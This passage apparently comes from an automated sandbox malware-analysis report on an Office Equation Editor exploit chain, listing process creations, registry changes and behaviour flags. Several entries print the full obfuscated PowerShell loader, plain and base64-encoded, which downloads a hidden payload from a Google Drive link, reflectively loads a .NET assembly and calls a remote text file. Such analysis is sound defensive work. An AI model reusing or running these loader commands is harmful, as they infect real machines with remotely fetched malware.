gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"	Jump to behavior

Uses code obfuscation techniques (call, push, ret)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560000 push 00000003h; iretd	2_2_03560018
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560179 push es; ret	2_2_0356017A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035602E6 push FFFFFFF6h; iretd	2_2_035602E8
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035602EC push esi; retf	2_2_03560307
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00315BB2 push F8B87029h; retf	8_2_00315C8E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00315C72 push F8B87029h; retf	8_2_00315C8E

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Contains functionality to download and launch executables

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_0356047F

Stores large binary data to the registry

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
